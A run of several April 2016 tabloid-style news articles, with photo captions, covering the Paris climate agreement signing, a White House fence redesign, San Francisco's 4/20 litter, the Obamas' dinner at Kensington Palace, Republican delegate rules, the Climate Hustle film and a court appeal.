'These young people are our future,' said UN secretary-General Ban Ki-moon. 'Today is a day for our children and grandchildren and all generations to come.'

Kerry and Trudeau were just two of the leaders from 171 countries that congregated at the United Nations Headquarters in Manhattan on Earth Day to sign the landmark agreement.

'When enough people come out and make their voices heard, when they turn their policy into a voting issue, when they work together toward the same real goal, then measurable change is possible, Kerry said during his remarks to the delegates.

'Today, as we think of the hard work ahead, I am reminded of Nelson Mandelas very simple words: It always seems impossible until it is done. While it isnt done yet, today we are on the march.'

The day has already set a record for international diplomacy. Never have so many countries signed an agreement on the first available day.

States that don't sign Friday have a year to do so.

'We are in a race against time,' Ban Ki-moon told the gathering. 'The era of consumption without consequences is over.'

'The poor and most vulnerable must not suffer further from a problem they did not create.'

Many now expect the climate agreement to enter into force long before the original deadline of 2020. Some say it could happen this year.

Canadian Prime Minister Justin Trudeau capped off his three-day visit in New York by signing the agreement

The political heartthrob turned up the heat in the room as he pledged to help save the world from becoming a hotter place

Just a day before, Trudeau had given a speech about climate change to New York University students

After signing, countries must formally approve the Paris Agreement through their domestic procedures. The United Nations says 15 countries, several of them small island states under threat from rising seas, were doing that Friday by depositing their instruments of ratification.

China, the world's top carbon emitter, announced it will 'finalize domestic procedures' to ratify the Paris Agreement before the G-20 summit in China in September. Ban immediately welcomed the pledge.

The United States also has said it intends to join the agreement this year. The two countries account for nearly 40 percent of global emissions.

'The power of this agreement is what it is going to do to unleash the private sector,' Kerry told the gathering.

The agreement will enter into force once 55 countries representing at least 55 percent of global emissions have formally joined it. Maros Sefcovic, the energy chief for another top emitter, the 28-nation European Union, has said the EU wants to be in the 'first wave' of ratifying countries.

French President Francois Hollande, the first to sign the agreement, said Friday he will ask parliament to ratify it by this summer. France's environment minister is in charge of global climate negotiations.

'There is no turning back now,' Hollande told the gathering.

Trudeau also announced that his country would ratify the agreement this year.

Countries that had not yet indicated they would sign the agreement Friday include some of the world's largest oil producers, including Saudi Arabia, Iraq, Nigeria and Kazakhstan, the World Resources Institute said Thursday.

Hollywood star Leonardo DiCaprio, who also serves as the UN Messenger of Peace, addressed the crowd at the ceremony on Friday

The Academy Award winner's history of fighting for climate change and the environment is almost as long as the list of models he's dated

DiCaprio called on the delegates to make 'bold, unprecedented action' and go above and beyond the Paris promises

The Paris Agreement, the world's response to hotter temperatures, rising seas and other impacts of climate change, was reached in December as a major breakthrough in UN climate negotiations, which for years were slowed by disputes between rich and poor countries over who should do what.

Under the agreement, countries set their own targets for reducing emissions of carbon dioxide and other greenhouse gases. The targets are not legally binding, but countries must update them every five years.

But DiCaprio, who was designated a UN Messenger of the Peace in 2014, called on the countries to do more than they have agreed upon.

'We can congratulate each other today, but it will mean absolutely nothing if you return to your countries and push beyond the promises of this historic agreement,' he said during a speech at the headquarters on Friday.

'Now is the time for bold, unprecedented action. My friends, look at the delegates around you, it is time to ask each other, which side of history will you be on?'

If the words of an Academy Award winner and global heartthrob aren't enough to put fear in the delegates' hearts, science might.

Last year was the hottest on record and average temperatures have already climbed by almost 1 degree Celsius.

Scientific analyses show the initial set of targets that countries pledged before Paris don't match the agreement's long-term goal to keep global warming below 2 degrees Celsius compared with pre-industrial times.

'No more talk, no more excuses, no more 10-year studies,' DiCaprio said.

'This is the body that can do what is needed, all of you sitting in this very hall. The world is now watching. You will either be lauded by future generations or vilified by them.'

DiCaprio and Trudeau listened intently during the remarks at the ceremonial signing
Officials hope the fence will be approved and installed by fiscal year 2018

Chief Strategic Officer of the U.S. Secret Service Thomas Dougherty said the project is moving 'extremely fast' after a report about the 2014 incident

In 2014 Omar Gonzalez jumped the fence and was able to enter the White House, breaching multiple layers of security before being

re-design, which still must be approved, aims to make the fence more than 11 feet high with sensors to detect 'jumpers'

A new design for the White House's fence, which hopes to discourage intruders from 'jumping' it, has been made public.

The re-design of the fence includes new security upgrades, like sensors to stop trespassers, and would make the barrier harder to scale by increasing the height from six feet to more than 11 feet.

Officials are trying to make the fence higher and stronger while still preserving the historical aesthetic, after a series of gate-jumping incidents in recent years.

The design was submitted publicly to U.S. Commission of Fine Arts on Thursday.

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The fence on the White House lawn is being redesigned. The proposed changes (pictured) were publicly submitted on Thursday to U.S. Commission of Fine Arts

The modifications would include making the fence 11 feet tall, which is five feet taller than the current structure

They hope the changes will be installed by fiscal year 2018.

The last time the fence was tweaked was in 2015 when metal spikes were added to enhance security but its first incarnation was installed under President James Monroe in 1817.

Omar Gonzalez (pictured) jumped the White House fence in 2014 and made it past a number of security measures before being stopped by Secret Serivce

The barrier is currently considered 'entirely scalable', according to Thomas Dougherty, Chief Strategic Officer of the U.S. Secret Service.

'We have now a society that tends to want to jump over the fence and go on the 18 acres.

'The current fence simply is not adequate for a modern era.

'Our priority is to maintain the public's access and their enjoyment of the residence because of the democratic connotations of all of that.

'It is in fact a quintessential First Amendment site,' he added.

The new design is just a preliminary concept and might undergo further modifications.

Yesterday many people who are a part of the National Park Service and the Secret Service got their first look at the re-design.

Some aired their concerns and criticisms.

'You see a progression, 3 feet high, 6 feet high. I'm glad I won't be around in 50 years when it's 25 feet high.

'At some point it can't be the same system,' Commission member Alex Krieger told ABC News.

Dougherty said the project is moving extremely fast and must be approved by this commission as well as the National Capital Planning Commission.

It would also call for sensors to be placed on the fence to prevent intruders from 'jumping' over and trying to break into the White House

This could be due to a recent damning report about a 2014 fence-jumping incident in which Omar Gonzalez scaled the structure and was able to enter the White House before being stopped by Secret Service.

Gonzalez was able to breach multiple layers of Secret Service security before being apprehended.

'This project is the first step in doing permanent improvements towards securing the White House grounds,' Peter May, the associate regional director of lands, planning, and design at the National Park Service, said.

The Secret Service is to report to the Inspector General on its progress with the project.

After a series of embarrassing break-ins over the current fence (pictured) during the last couple years, including one where a man made it inside the White House, the commission and the Secret Service decided to move forward with a re-design

Trespassers: Over the last few years numerous people have been stopped for jumping over the White House fence
Thousands of marijuana enthusiasts left behind 11 tons of trash after a massive smokeout on 'Hippie Hill' in San Francisco to celebrate 4/20 on Wednesday, officials said.

About three dozen staff worked into the night after people celebrated the informal pot holiday and were back out at Golden Gate Park cleaning up on Thursday morning, according to San Francisco Recreation and Parks Department spokesman Joey Kahn.

The date of April 20, or 4/20, corresponds with the numerical figure widely recognized within the cannabis subculture as a symbol for all things marijuana.

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Thousands gathered in Golden Gate Park to celebrate on April 20 and left behind 11 tons of trash

About three dozen staff worked into the night after people celebrated the informal pot holiday

According to the marijuana magazine High Times, the concept of 4/20 originated in the early 1970s, as a group of teenagers in the Bay Area city of San Rafael used it as code to gather after school and smoke the plant.

In San Francisco, thousands descend on Hippie Hill every year for there event that although not officially sanctioned, is generally tolerated, according to ABC7.

Some 5,000 more pounds of trash were left this year compared to last year's event, Kahn said.

He added that he expected the costs to the department for the event to reach around $50,000.

The San Francisco Police Department, who were out in force both with uniformed and plain clothes officers, recorded eight arrests at the event and doled out 35 traffic-related citations.

San Francisco Recreation and Parks Department expects the cost to the department for the event to reach around $50,000

The San Francisco Police Department, who were out in force both with uniformed and plain clothes officers, recorded eight arrests at the event and doled out 35 traffic-related citations

The event, where people gather on San Francisco's Hippie Hill (above) is not sanctioned, but is generally tolerated by the city

The long-running Bay Area tradition, which authorities closely monitor, could mark the last such observance while recreational marijuana remains illegal under state law in California.

Medical marijuana is legal in the state with a doctor's recommendation.

Voters will likely decide in November whether to approve a ballot measure that would legalize adult possession for recreational purposes.

The distinct odor of marijuana smoke mixed with the smell of barbecue in a gentle breeze wafting over an estimated 15,000 attendees enjoying the sunny Wednesday afternoon.

Marijuana, once widely demonized in the United States, has seen growing acceptance in recent years, especially among younger, more liberal Americans.

Although cannabis remains classified as an illegal narcotic under federal law, two dozen U.S. states have approved marijuana for medical purposes since California became the first to do so in 1996.

Since 2012 recreational use of the drug has been legalized in Colorado, Washington state, Oregon, Alaska and the District of Columbia.
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Prince George became the star of the Kensington Palace party after greeting Michelle and Barack Obama in his dressing gown and slippers.

The Obamas arrived at the palace tonight for an informal dinner with Prince William, Kate Middleton and Prince Harry - just hours after the U.S. President's controversial intervention in the Brexit debate.

But it was the two-year-old prince who stole the limelight after pictures emerged of George shaking hands with the leader of the free world wearing his nightwear - a pair of freshly-pressed blue gingham pyjamas, monogramed dressing gown and a pair of slippers with aeroplanes on.

The third in line to the throne was allowed to stay up for a few minutes by his parents, the Duke and Duchess of Cambridge, so the two-year-old could thank the couple for a rocking horse and stuffed toy they had previously given him as gifts.

Today President Obama revealed how he was charmed by Prince George and described the young royal as 'adorable'.

He greeted London's Lindley Hall, where he held a Q&A session, by saying: It is wonderful to see all of you. I guess you all know why I came here. Nothing was going to stop me wishing happy birthday to Her Majesty and meeting George - who is adorable.

Michelle and I had the privilege to meet with Her Majesty and the Duke of Edinburgh yesterday. I cant tell you what we talked about but I hope I can be such an engaging lunch partner when Im 90.

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Hello, Mr President: Barack Obama and First Lady Michelle crouch down to meet and shake hands with Prince George at Kensington Palace

President Barack Obama talks with the Duke of Cambridge while the Duchess of Cambridge plays with Prince George on rocking horse

A Kensington Palace Spokesman said: 'Prince George stayed up to meet The President and First Lady when they arrived at Kensington Palace'

Along with Prince Harry, William and Kate opened the doors of their 22-room private apartment  number 1A - to Mr and Mrs Obama, after the couple had lunched with the Queen at Windsor Castle.

It is the first time that any of the young royals have entertained a head of state privately and the most significant event they have ever hosted at Kensington Palace.

It ends a busy schedule of high-profile meetings and events for the President of the United States and the First Lady in the UK today, after they arrived at Stansted Airport yesterday.

The President and his wife arrived at the royal residence exactly on time at 7.15pm in his official car, an 18-foot armoured Cadillac dubbed The Beast.

There you are! Hello! the President called out to William, while holding an umbrella over Michelle, who was wearing a terracotta coat and dress.

Sorry about the weather, the prince replied. You've had a long day.

We've enjoyed it, the President smiled.

The five walked towards each other in the middle of Kensington Palace's Clock Court courtyard to exchange greetings.

Harry, who spent time with First Lady during his October 2015 trip to Washington DC to promote the upcoming Invictus Games, warmly kissed Michelle on both cheeks.

They all spoke briefly before heading towards the entrance of 1A for a brief photo op. Ever the gentleman, President Obama offered his umbrella to the Duchess.

Thank you, she replied. I think (we'll go without).

Pictures show the inside of their apartment at Kensington Palace for the first time, which was refurbished with 4.5million of taxpayers money - although the couple footed the bill for fixtures and furnishing themselves

Kate had the help of an interior designer, but the look isnt particularly grand and far from palatial, more comfortable country home

The Duke of Cambridge (left) speaks with President of the United States Barack Obama in the Drawing Room of Apartment 1A Kensington Palace, London, prior to a private dinner hosted by the Duke and Duchess in their official residence at the palace

Mrs Obama recently worked with Kate, 34, on a mental health project and has helped Harry, 31, with the Invictus Games, a Paralympic-style event for injured servicemen and women which will be held in Orlando in May

The Duke of Cambridge talks to the President of the United States Barack Obama (front left), with the Duchess of Cambridge, First Lady Michelle Obama (back left) and Prince Harry (back right), in the Drawing Room of Apartment 1A Kensington Palace, London

The Duke of Cambridge and U.S. President Barack Obama were deep in conversation at Kensington Palace before their meal

Kate was wearing a three quarter length blue and purple patterned, 325 LK Bennett dress, while Mrs Obama wore a camel coloured dress

EXPERTS SAY UNDERSTATED CLOTHING ON PRINCE GEORGE AND PRINCESS CHARLOTTE IS CHOSEN BY KATE By Siofra Brennan for MailOnline According to experts the traditional, understated clothing on Prince George and Princess Charlotte is deliberately chosen by the Duchess of Cambridge to avoid creating an inappropriate frenzy around their outfits. Digital brand expert Holly Peacock said that the Duchess has learned from her own experience the impact her children's clothing will have. 'The choice to dress Princess Charlotte in a very similar outfit is in my view a deliberate one,' she told FEMAIL. 'Rather than creating a shopping frenzy around her daughters supposed "endorsement" of the designer, she's attempting to represent the normality of her family by dressing her child in a similar outfit twice.' Princess Charlotte wore an almost identical outfit to the one she was pictured in for a portrait to mark her six-month-birthday while her brother George wore his standard uniform of shorts, knee socks and a patterned jumper in the Queen's 90th birthday portrait Prince George and Princess Charlotte pictured in late October at Kensington Palace. The image was used for the family Christmas card For a portrait taken in October 2015 and released to mark her six-month birthday, Princess Charlotte wore a floral dress by Spanish brand, M&H - a gift from her nanny Maria Borrallo For a set of portraits taken at Kensington Palace back in October, Princess Charlotte wore a 21 floral dress by Spanish brand, M&H - a gift from her nanny Maria Borrallo - teamed with a pink cardigan and tights. And in yesterday's portrait with her great-grandmother, she was wearing an almost identical dress from the brand's Autumn Winter collection, costing 23.50, which is now sold out. Wearing burgundy shorts teamed with a navy fairisle cardigan for the portrait, Georges traditional look was completed with long socks and his beloved Start-Rite sandals. His cardigan came from Spanish childrenswear designer Fina Ejerique and he also wore a jumper by the same brand for the familys Christmas card last year - again with shorts, socks and the same shoes. Kate opts for a traditional look for the little Prince, pictured (left) with his father Prince William arriving to see a newborn Charlotte in 2015, which fashion experts say is a strategic move rather than just personal taste. Pictured (right) is Princess Charlotte and Prince George One fashion editor would like to see the Duchess be more adventurous in her choice of outfits for her children. Pictured (left) is William holding George during the Trooping the Colour in 2015 and (right) Prince George with the Queen at Charlotte's christening The Duchess is known to overtly refer to history. For Charlotte's christening she dressed George in red shorts and a white embroidered shirt identical to the outfit William wore to meet his brother Prince Harry for the first time. According to research by Rakuten Marketing, George and Charlotte are the second and fourth most influential celebrity youngsters in childrens fashion market respectively. This is the despite the fact Charlotte has only been pictured publicly five times, which includes leaving hospital, on her christening day and as a newborn in a romper suit with Prince George. Advertisement

They then stood in front of the steps of the royal residence, posing for photos for 15 seconds before stepping inside the lavish property.

Kate was wearing a three quarter length blue and purple patterned, 325 LK Bennett dress, with her hair down, while William was in an open necked shirt and jacket.

The President matched William for casualness, as did Prince Harry, while Mrs Obama wore a camel coloured dress with a jacket in a slightly darker hue.

As staff opened the black double doors, the group walked into a cream-coloured hallway where another guest stood in the distance to greet the visitors - Prince George.

The two-year-old prince could briefly be seen standing inside watching their guests come inside from the rain.

As the front doors closed, the group could be seen walking towards the Drawing Room, where they were took more photos.

A palace source later confirmed that the Obamas met George but Charlotte was fast asleep: George stayed up for a few minutes when the President and the First Lady arrived but Charlotte was in bed.

Prior to their arrival, George had been playing inside with a soft toy dog, which Michelle and Barack had previously gifted the two-year-old.

A Kensington Palace Spokesman said: 'Prince George stayed up to meet The President and First Lady when they arrived at Kensington Palace.

'He was able to show The President and First lady a rocking horse  given to George when he was born - and a stuffed toy  given to George when Princess Charlotte was born - that had been previously given to him by President and Mrs Obama.

The Obamas have arrived at Kensington Palace tonight for an informal dinner with Prince William, Kate Middleton and Prince Harry, just hours after the U.S. President's controversial intervention in the Brexit debate

They all spoke briefly before heading towards the entrance of 1A for a brief photo op. Ever the gentleman, President Obama offered his umbrella to the Duchess

Prince Harry, Kate, Duchess of Cambridge, Prince William, Duke of Cambridge, U.S. President Barack Obama and First Lady Michelle Obama speak as they attend a dinner at Kensington Palace

Explaining how the evening came about, an aide said: When the Duke heard that President Obama was lunching with his grandmother he extended an invitation to join them for dinner. He was delighted that he could find time in his schedule to join them.

Kensington Palace has been used a lot more over the last couple of years and is very much a working building now with proper entertaining space.

But it is clearly the biggest thing that they have done here because it is the President and First Lady of the United States.

The dinner was, one official said, a casual, informal affair.

Pictures show the inside of their apartment at Kensington Palace for the first time, which was refurbished with 4.5 million of taxpayers money - although the couple footed the bill for fixtures and furnishing themselves.

Kate had the help of an interior designer, but the look isnt particularly grand and far from palatial, more comfortable country home.

The cream sofas are littered with floral cushions and on a large hexagonal footstool is the fluffy toy dog. The soft toy seen in the picture is a replica of the Obama family dog, Bo, a Portuguese Water Dog. Behind William is a rocking horse given by the Obamas to Prince George on his first birthday.

After posing for pictures in the courtyard, the royal trio and their guests retired to William and Kates private 22-room apartment, which used to belong to Princess Margaret and has since been refurbished for the couple using 4.5million worth of taxpayers money

President and First Lady of the United States Barack Obama and his wife Michelle (right) are greeted by Prince Harry (left) and the Duke and Duchess of Cambridge in Clock Court, at Kensington Palace, London

Prince Harry (left) greets the President and First Lady of the United States Barack Obama and his wife Michelle (right) with the Duke and Duchess of Cambridge (centre) outside the front door to Kensington Palace

In the corner is a baby grand piano covered with family photographs and flowers, indicating it is more decorative than anything else. The side tables are also filled with pictures including a young Prince William with a shock of blonde hair.

The couple even have a drinks tray in the corner of the drawing room containing bottles of 12 Smirnoff vodka and 14 Gordons gin.

The apartment has two kitchens  although it is not known which one the meal will be prepared in  and as Kensington Palace doesnt have its own catering staff, chefs and waiting staff are being borrowed from Buckingham Palace.

A Kensington Palace spokesman refused to reveal what the group would be eating as it was classed as a private dinner  even though an official press release was released about the engagement and the media invited to cover it.

The dinner is also likely to be included in the Court Circular, the official daily record of royal engagements, and will be paid for out of official funds.

The President and his wife arrived at the royal residence exactly on time at 7.15pm in his official car, an 18 foot armoured Cadillac dubbed The Beast

Kate was wearing a three-quarter length blue and purple patterned dress with her hair down, while William was in an open necked shirt and jacket

The President matched William for casualness, as did Prince Harry, while Mrs Obama wore a camel coloured dress with a jacket in a slightly darker hue

The Obamas grew a fondness to William and Kate, when they first met at Buckingham Palace four years ago on a state visit to the UK

An aide said they would have a lot to talk about - Mrs Obama recently worked with Kate, 34, on a mental health project and has helped Harry, 31, with the Invictus Games, a Paralympic-style event for injured servicemen and women which will be held in Orlando in May

The Obamas grew a fondness to William and Kate, when they first met at Buckingham Palace four years ago on a state visit to the UK.

The President then welcomed the Duke of Cambridge to the Oval Office in the White House in 2014, before First Lady Michelle presented the royal couple with presents for their children Prince George and Princess Charlotte.

Michelle Obama and Prince Harry previously met through their work with families of American and British soldiers.

An aide said they would have a lot to talk about - Mrs Obama recently worked with Kate, 34, on a mental health project and has helped Harry, 31, with the Invictus Games, a Paralympic-style event for injured servicemen and women which will be held in Orlando in May.

Mr Obama has also held discussions with William, 33, about anti-poaching and conservation issues.

On a working level they thought this would be a nice way to meet with the President as a group of three, which they havent done previously. And when the First Lady decided to come to London they were very pleased that she could join them as well, said one official.

The President and his wife arrived at the royal residence exactly on time at 7.15pm in his official car, an 18 foot armoured Cadillac dubbed The Beast.

Kate was wearing a three quarter length blue and purple patterned, 325 LK Bennett dress, with her hair down, while William was in an open necked shirt and jacket. The President matched William for casualness, while Mrs Obama wore a camel coloured dress with a jacket in a slightly darker hue

This is the first time the Duke and Duchess of Cambridge have entertained a head of state at their own home in London

Earlier today Obama paid a heartfelt tribute to the Queen, calling her 'a real jewel to the world' and 'one of my favourite people' after he and his wife Michelle had an intimate lunch with Elizabeth II and the Duke of Edinburgh.

Speaking alongside David Cameron at a Press conference in London, the U.S. President took the opportunity to praise the Queen on the occasion of her 90th birthday - and also joked about the 'smooth ride' he and Mrs Obama had when Prince Philip drove them in his Range Rover.

Obama, who is making his last trip to Britain as President, shared a meal with the Queen at Windsor Castle before his summit with the Prime Minister.

He came equipped with a gift - an album of photos showing the Queen meeting various Presidents - which he handed over shortly after the Duke took the role of his chauffeur, driving both couples 400 yards from their helicopter landing site to the door of the castle.

Obama stood alongside David Cameron in a bid to help the PM's campaign against Brexit and defended his right to comment, despite Leave campaigners claiming that he was being 'hypocritical'

Grins: Barack and Michelle Obama smiling for the camera with the Queen and Prince Philip at Windsor Castle today

The Duke of Edinburgh drives the Obamas and the Queen through the entrance on Windsor Castle

After the niceties with the royals, he talked business with the Prime Minister and issued a warning to the British public of the consequences of leaving the European Union.

The UK electorate will go to the polls in a historic referendum on June 23. In an extraordinary press conference at the Foreign Office, the President said Britain would be at the 'back of the queue' for a trade deal with America if it quits the EU.

He stood alongside David Cameron in a bid to help the PM's campaign against Brexit and defended his right to comment, despite Leave campaigners claiming that he was being 'hypocritical'.

Friendly: The Royal couple shared a joke with the Obamas after they touched down in the helicopter Marine One

Meeting: Barack and Michelle Obama were today met at Windsor Castle by the Queen and the Duke of Edinburgh

After the niceties with the royals, Obama talked business with the Prime Minister and issued a warning to the British public of the consequences of leaving the European Union

The President insisted his remarks, which have been long planned by Mr Cameron's In campaign, were not a 'threat' to Britain and he said the 'emotional' part of the special relationship was not under threat

Heavily armed police wait in their Land Rover as they secure the area outside The British Foreign and Commonwealth Office as U.S. President Obama and Britain's Prime Minister David Cameron, held a media conference

U.S President Barack Obama and Britain's Prime Minister David Cameron walk from 10 Downing Street, London after a meeting today

U.S. President Barack Obama is greeted by British Prime Minister, David Cameron, on Downing Street in London earlier today

The President insisted his remarks, which have been long planned by Mr Cameron's In campaign, were not a 'threat' to Britain and he said the 'emotional' part of the special relationship was not under threat.

But the speech enraged campaigners who support Brexit, with Tory MPs immediately warning drumming up support from foreign leaders was 'not a good look' for Cameron.

Obama said as a 'friend' of Britain he had to be honest about the impact of a Brexit vote.

He said: 'In democracies everybody should want more information, not less, and you shouldn't be afraid to hear an argument being made - that's not a threat, that should enhance the debate.

'Particularly because my understanding is that some of the folks on the other side have been ascribing to the United States certain actions we will take if the UK does leave the EU - they say for example that ''we will just cut our own trade deals with the United States''.'

MEET THE BEAST: HOW OBAMA IS USUALLY DRIVEN AROUND IN AN ARMOURED CADILLAC EQUIPPED WITH SHOTGUNS Mr Obama may have been driven by Prince Philip today, but he usually travels in a 1million armoured car known as 'The Beast'. The vehicle is a converted Cadillac, with reinforced doors and windows which are designed to withstand attack. The car, which was flown over to Britain for Mr Obama's official visit, is also equipped with inbuilt pump-action shotguns and tear gas cannons. Bottles of Mr Obama's blood are kept on board The Beast, in case he requires an emergency transfusion after coming under attack. The President is accompanied by a large number of Secret Service agents at all time in order to avoid a repeat of the shootings of previous leaders such as John F. Kennedy and Ronald Reagan. Advertisement

Face-to-face: The Queen, the President and Mrs Obama all sat in a Range Rover being driven by Prince Philip to the castle

Nimble: The 90-year-old monarch got out of the Range Rover without needing help from anyone else

Following: Mr Obama's armoured car known as 'The Beast' was part of an 11-vehicle motorcade which drove to Windsor

Mix-up: The four dignitaries initially seemed confused as to which of them should go into which seat

Drive: The four dignitaries all climbed into a Range Rover which was then driven the short distance to the castle by Prince Philip

Good-natured: The two couples have met several times before in the years since Mr Obama became President in 2009

Gifts: The Obamas gave the Queen and Philip a present of a photo album celebrating Elizabeth II's meetings with previous Presidents

Scene: The helicopter Marine One landed on the lawn in front of Windsor Castle, one of the Queen's official residences

Encounter: The two couples walked towards each other over the grass after Marine One touched down

Devoted: The Queen and her husband waited on the lawn for Mr Obama to emerge from his helicopter

Privilege: The Queen and her husband personally waited on the lawn so they could greet the Obamas straightaway

Casual: The two couples have met on several previous occasions and are said to get on well with each other

Take-off: Mr Obama leaves London in Marine One, his fortified helicopter, on the way to Windsor

Arrival: Mr Obama waves for the cameras after landing at Stansted Airport outside London on Air Force One late last night

Obama continued: 'So they are voicing an opinion about what the United States is going to do, I figured you might want to hear from the president of the United States what I think the United States is going to do.

'And on that matter, for example, I think it's fair to say that maybe some point down the line there might be a UK-US trade agreement, but it's not going to happen any time soon because our focus is in negotiating with a big bloc, the European Union, to get a trade agreement done.

'The UK is going to be in the back of the queue.'
The Republican Party isn't about to hand its presidential car keys to Donald Trump unless he can convince a majority of delegates at its nominating convention in July to support him, the GOP's chairman said Friday as party meetings wrapped up in Florida.

'Almost only counts in horseshoes and hand grenades,' Reince Priebus told party officials and activists gathered in the seaside town of Hollywood.

'As our nomination process goes on, we are preparing for all possible scenarios,' he said, noting the internal rancor that has surrounded the candidacy of billionaire Donald Trump.

The real estate tycoon is the sole remaining Republican White House hopeful with a reasonable chance of winning 1,237 convention delegates  the barest possible majority  before the event convenes in Cleveland, Ohio.

HE HAS TO EARN IT: Republican National Committee Chairman Reince Priebus said Friday that Donald Trump will have to win the support a majority of convention delegates in order to clinch the party's presidential nomination even if he cones to the convention with the most votes

GIVE IT TO ME: Trump says he should win the nomination regardless of the delegate count because he has win the most votes in statewide primary elections

But the convention could descend into chaos if he falls short when the first vote is taken, with Texas Sen. Ted Cruz and Ohio Gov. John Kasich jockeying for position and twisting the arms of delegates to move in their direction on subsequent ballots.

'We might have a nominee by July, or we might have a nominee through the balloting process at the convention, Priebus said.

'The rules say you have to have 1,237 delegates to be the nominee. We arent going to hand the nomination to anyone with a plurality, no matter how close they are to 1,237. You need a majority.'

Trump has won more votes than his rivals, leading Cruz by more than 2 million cast in states that hold traditional primaries.

He has said he should be the Republican nominee because he has outshone the competition in the popular vote, regardless of whether enough delegates support him.

WAITING IN THE WINGS: Texas Sen. Ted Cruz wants to see a floor fight at the July convention in Cleveland, hoping to snatch victory from the jaws of defeat

Rank-and-file Republicans seem to agree. Exit polls in Tuesday's New York primary found that more than 70 per cent of GOP voters there said the candidate with the most votes in the primaries should be the nominee.

But Priebus shrugged off that idea on Friday, saying the democratic process that matters is the one that will unfold on the floor of the Quicken Loans Arena in Cleveland.

Requiring Trump or anyone else to win a plain majority of the delegates, he said, is 'as American as apple pie and opening day.'

Priebus also threw a rhetorical punch at the '#NeverTrump' movement, a subset of Republicans who have promised that they won't support the businessman-turned-politician in the fall if he wins the nomination.

'It is essential to victory in November that we all support our candidate,' he urged.

'This goes for everyone, whether youre a county party chairman, an RNC member, or a presidential candidate. Politics is a team sport, and we cant win unless we rally around whoever becomes our nominee, he added, drawing applause from the audience.'
The man behind a new movie that attempts to blow the cover off of 'global warming hype' worked for radio host Rush Limbaugh before creating a site that questions man-made global warming despite having no formal education in the field.

Outspoken climate change critic Marc Morano, 46, who counts Sarah Palin and Limbaugh as fans among others who disagree with the topic, co-wrote and narrated Climate Hustle.

The film which is set to be released May 2 in a one night only screening in select theaters across the country, aims to debunk what it calls myths and hype about human-caused global warming.

But critics have described it as a 'propaganda movie' which fails to address concrete scientific evidence that climate change is real, and needs to be tackled.

Palin, who attended a screening of the film in Washington, DC, is touting Climate Hustle as offering a countering view to former vice president Al Gore's Oscar-winning global warming documentary, An Inconvenient Truth.

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The man behind Climate Hustle: Marc Morano is an outspoken climate change critic who co-wrote and narrated Climate Hustle, a new film that aims to debunk what it calls myths and hype about human-caused global warming

Sarah Palin is touting it as offering a countering view to Al Gore's documentary, An Inconvenient Truth. Above she is pictured with Morano (right), executive producers Craig Rucker and David Rothbard

'I'm very passionate about this issue,' Palin told Variety. 'We've been told by fearmongers that global warming is due to man's activities and this presents strong arguments against that in a very relatable way.'

Climate Hustle says it questions whether there is a genuine scientific consensus about global warming.

WHAT IS CLIMATE HUSTLE ABOUT? Climate Hustle says it questions whether there is a genuine scientific consensus about global warming. It features interviews with more than 30 scientists who reject mainstream climate science. Many of these scientists have reversed their views from supporting the 'consensus' position of global warming to one of skepticism. However, Sarah Palin and others who have viewed the film ahead of it's release praise it as offering a countering view to former vice president Al Gore's award winning global warming documentary, An Inconvenient Truth. Climate Hustle will be released May 2 in a one night only screening in select theaters across the country. Advertisement

It features interviews with more than 30 scientists who reject mainstream climate science.

Many of these scientists have reversed their views from supporting the 'consensus' position of global warming to one of skepticism.

According to The Boston Herald, Morano, who is not a scientist and has a degree in political science from George Mason University, said: 'This film is truly unique among climate documentaries.

'Climate Hustle presents viewers with facts and compelling video footage going back four decades, and delivers a powerful presentation of dissenting science, best of all, in a humorous way.

'This film may change the way you think about "global warming."'

However, in 2012 Media Matters for America, a politically progressive media watchdog group, named him the 'Climate Change Misinformer of the Year'.

Morano founded ClimateDepot.com in 2009 to offer 'research and environmental news that questions the theory of man-made global warming', according to the website, which is a project under conservative Washington, DC think tank Committee for a Constructive Tomorrow (CFACT).

And in 2009 the site reportedly manufactured the 'Climategate' controversy, where Morano wrongly claimed that climate scientists 'deliberately manipulated facts and data'.

Morano (above) founded the ClimateDepot.com, which 'questions the theory of man-made global warming' and is project under conservative Washington, DC think tank Committee for a Constructive Tomorrow (CFACT)

In 2009 the site reportedly manufactured the 'Climategate' controversy, where Morano (above) wrongly claimed that climate scientists 'deliberately manipulated facts and data'

But prior to his start working with CFACT, which has accepted cash from fossil fuel interests including ExxonMobil and Chevron, Morano first emerged in the public arena while working for popular conservative radio host Rush Limbaugh.

From 1991 to 1996, Morano worked as a producer for Limbaugh, who still reportedly uses Morano's material to debunk climate change and call it a 'hoax' on his popular radio show.

At his next job, he accused John Kerry of exaggerating his military service record while being employed as an investigative journalist at Cybercast News Service.

Morano was the first to publish the accusations against Kerry from the Swift-Boat veterans.

His story suggested that Kerry, who at the time was running for president in 2004, did not deserve his Purple Heart award, which he earned in Vietnam.

The accusations against Kerry were found untrue, but at the time it was provided a lot of attention in the media.

After this position, he then started working in 2006 as communications director for Oklahoma Sen. James Inhofe, who notably stated that 'Global warming is a hoax'.

Morano started his career working as a producer for radio host Rush Limbaugh. He then moved on to work for Cybercast News Service as an investigative reporter

It was while working there that Morano was the first to publish accusations about John Kerry's military service record being exaggerated. Kerry is pictured above at the Paris Agreement on Climate Change meeting

According to a 2010 Esquire profile on Morano, while working for the senator, he compiled 'so many inflammatory stories and documents on Inhofe's website that Newsweek said he was 'more like a wire service than a spokesman'.

As his communications director for the next three years, Morano reportedly would print the email addresses of scientists and reporters to invite readers to bother them, and turned the senator's office into the 'global center of the resistance' to climate change, Esquire noted.

He's been threatened with a libel suit and other Republican leaders reportedly begged for Inhofe to fire Morano, citing that he was 'unprofessional'.

Morano also served under the George W. Bush administration as the communications director for the Senate Environment and Public Works Committee.

Despite having no formal education in the field of climate change or climate science, he has debated several scientists on television about the subject in an effort to debunk it.

In one of his latest debates, Morano discussed the movie Climate Hustle with celebrity science expert Bill Nye.

Despite having no formal education in the field of climate change or climate science, he has debated several scientists, including Bill Nye (above) on about the subject in an effort to debunk it

Morano turned down two bets on global warming worth $20,000 that Bill Nye offered to bet him on.

The first bet was that the current year, 2016, would be among the 10 hottest to ever be recorded using conventional observations and the second was that the current decade would be the hottest on record.

In turning them down, Morano said they were 'silly' and that it was 'obvious' he wouldn't win.

He also rejected the bets on the basis that the results would only be what the 'government agencies declared.'
A woman who duped her friend into believing she was a man and having sex with her using a prosthetic penis has won the right to appeal her conviction.

Ex-private schoolgirl, Gayle Newland, 25, was jailed for eight years in November after she fooled her friend into having sex by pretending to be a man.

She has now won the right to appeal her conviction at London's Court of Appeal after a High Court ruling.

